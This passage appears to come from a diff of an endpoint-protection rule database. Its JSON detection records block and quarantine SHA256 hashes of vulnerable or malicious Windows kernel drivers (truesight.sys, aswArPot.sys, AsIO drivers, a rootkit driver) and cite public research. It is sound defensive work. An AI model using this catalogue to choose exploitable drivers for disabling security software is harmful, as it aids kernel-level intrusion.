+  "value": "64fcecd846a95c48062a2139f5731bd6c3e68a2ae1fa14e103094389e2ec3328",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "37ba5fad-9181-5556-affa-5acf0ca82d8c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.825924Z",
+  "creation_date": "2026-03-23T11:45:31.825927Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.825932Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c6d3bf485ac41a4b66529755df982da91a2ff1a23ffa15564474c8543980893a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "37bd0067-0a80-56b6-921d-3ff13a52c4ee",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.808101Z",
+  "creation_date": "2026-03-23T11:45:31.808104Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.808113Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4edd64593884be2a0b05f6153cbe85db1f202dd2ea0eef0500e334ee30e4f41c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "37bd21c0-b91b-5269-88a7-5dc486cae73f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.969593Z",
+  "creation_date": "2026-03-23T11:45:29.969595Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.969601Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "14ed216fbc7eece76ef906c7346779e06043c59edb7feb6f51809b2cb395853d",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "37c2fbd8-f542-55b7-9676-697165a13aaa",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.479269Z",
+  "creation_date": "2026-03-23T11:45:31.479273Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.479282Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b895393c96cec1a7c89abe7eca0e9555da5be8e25c0a02e5e43caf37f42a9785",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "37ce5d72-d52c-5096-b767-eea1aeb309d4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.621634Z",
+  "creation_date": "2026-03-23T11:45:29.621636Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.621641Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fa875178ae2d7604d027510b0d0a7e2d9d675e10a4c9dda2d927ee891e0bcb91",
+  "comment": "ASUSTeK GPU vulnerable physmem driver (aka AsIO2_64.sys) [https://syscall.eu/blog/2020/03/30/asus_gio/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "37d2fe47-d3ad-5fcb-954d-e11e6fdd009d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.822845Z",
+  "creation_date": "2026-03-23T11:45:31.822848Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.822856Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9335a234e261df74b8d8e6027dadc918dad8499e6daee611e3ccfd052bb2a385",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "37dacc43-4133-56c0-b430-4f33c7072d05",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.617006Z",
+  "creation_date": "2026-03-23T11:45:29.617008Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.617013Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4f35cf1f2e0fb87a2728303091ee505a0bc546cf63dcd38178adf48477ec0f91",
+  "comment": "American Megatrends vulnerable BIOS flash tool (aka UCOREW64.SYS and amifldrv64.sys) [https://www.loldrivers.io/drivers/a338a9fc-9fe3-400c-9fe4-69bb7892602d/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "37e5fbfd-ee5d-5a4e-8459-cf49957470c6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.473506Z",
+  "creation_date": "2026-03-23T11:45:31.473510Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.473521Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "59aea123738499f75b7de47b34520d9f67c01f60c7bb30c1742ff9903a185a18",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "37e70f98-a899-5322-b910-a32d8102b427",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.147187Z",
+  "creation_date": "2026-03-23T11:45:32.147189Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.147194Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9f882afd44ed1e9ec1875dd5e1362bb2216815a84b3709b7bb72b1206c5e7b86",
+  "comment": "Malicious Kernel Driver (aka AppvVStram_.sys) [https://securelist.com/honeymyte-kernel-mode-rootkit/118590/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "37e79206-30fc-51d5-a2d5-3fe85c2fdcc0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.471647Z",
+  "creation_date": "2026-03-23T11:45:30.471650Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.471667Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "52a90fd1546c068b92add52c29fbb8a87d472a57e609146bbcb34862f9dcec15",
+  "comment": "Vulnerable Kernel Driver (aka AsIO.sys) [https://www.loldrivers.io/drivers/bd7e78db-6fd0-4694-ac38-dbf5480b60b9/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "37f73358-118b-5767-8460-311211886a81",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.487861Z",
+  "creation_date": "2026-03-23T11:45:31.487863Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.487881Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "947106cb13eb826fbec6ff72348076c7177139ac84509a6c01439c00b9b4fad0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "37ff47b4-96cc-55a5-b49c-e317a3d9b957",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.980185Z",
+  "creation_date": "2026-03-23T11:45:29.980187Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.980193Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9e3430d5e0e93bc4a5dccc985053912065e65722bfc2eaf431bc1da91410434c",
+  "comment": "Vulnerable Kernel Driver (aka rzpnk.sys) [https://www.loldrivers.io/drivers/1c6e1d3b-f825-4065-9e0c-83386883e40f/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "38064c8a-fb4f-5606-9d4a-6e5a147d1c60",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.815727Z",
+  "creation_date": "2026-03-23T11:45:30.815729Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.815735Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a60d45d46e5a3dda02f41d20e5782135dd0da42c75eb9c39307bd67a7c9152ea",
+  "comment": "Vulnerable Kernel Driver (aka RadHwMgr.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3825e49a-2fcd-5193-93c6-a74b5c19900b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.828454Z",
+  "creation_date": "2026-03-23T11:45:30.828456Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.828462Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f5354eebadca43d11288fe9dd0721974605fb6cbb3f6ea6ec6448513dfc94024",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "382dd39d-fe1f-5e7f-b8b6-93f11c077cc0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.825394Z",
+  "creation_date": "2026-03-23T11:45:30.825398Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.825406Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e8e9ae67f2ebe8986f434a22d4c175cf0ad77d8a580c26b5c04d6c183c2b8bbf",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3834aaa8-32f2-5225-b81a-bf88d2b71206",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.820478Z",
+  "creation_date": "2026-03-23T11:45:30.820480Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.820485Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fe275be26ecca4c69f1c8ec35145fcae8cd83a5cb20f7ca71ff998d91091bb7e",
+  "comment": "Vulnerable Kernel Driver (aka rtport.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3835020e-8b74-552c-9074-f275d18879b3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.977817Z",
+  "creation_date": "2026-03-23T11:45:29.977819Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.977824Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b7516dca419d087ef844c42e061a834908f34e7363577ab128094973896222c8",
+  "comment": "Vulnerable Kernel Driver (aka b4.sys) [https://www.loldrivers.io/drivers/d1441172-cc15-4a96-b782-f440bfb681e1/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "38385f10-7079-5122-8ce2-ce44c4f1baa5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.981332Z",
+  "creation_date": "2026-03-23T11:45:29.981333Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.981339Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c35f3a9da8e81e75642af20103240618b641d39724f9df438bf0f361122876b0",
+  "comment": "Vulnerable Kernel Driver (aka BEDAISY.SYS) [https://www.loldrivers.io/drivers/db666d40-c9fa-4039-bfac-a5d7afd61b67/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3843fbd7-2154-5e62-b0fe-35b7fabf475f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.612992Z",
+  "creation_date": "2026-03-23T11:45:29.612994Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.612999Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5e1e1489a1a01cfb466b527543d9d25112a83792bde443de9e34e4d3ada697e3",
+  "comment": "Marvin Test Solutions HW vulnerable driver (aka Hw.sys and Hw64.sys) [https://decoded.avast.io/janvojtesek/the-return-of-candiru-zero-days-in-the-middle-east/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "38468b67-d59b-5ea3-82bd-501e04680e3e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.611167Z",
+  "creation_date": "2026-03-23T11:45:29.611169Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.611174Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "98c86fcf018822289340d248f5e2896c41ad0f284febb741b945312ff40bdfa3",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "384abeb1-9e40-5b9b-8651-c0bf7db44e1a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.824997Z",
+  "creation_date": "2026-03-23T11:45:31.825000Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.825009Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "563a30a08dcb636e9dd894dcfeaf36a6da3483a32275c00ec57c5c0f13916e3c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3852d8a4-abbd-5d04-a5de-bda628c4d8d7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.827676Z",
+  "creation_date": "2026-03-23T11:45:31.827678Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.827684Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "59b52a009ceed6c2a9e9efc84117bfca18b0b1ed1168c28c6e6a7a1b05ba45a7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3855274c-d30b-5554-9a57-45e3cc281be5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
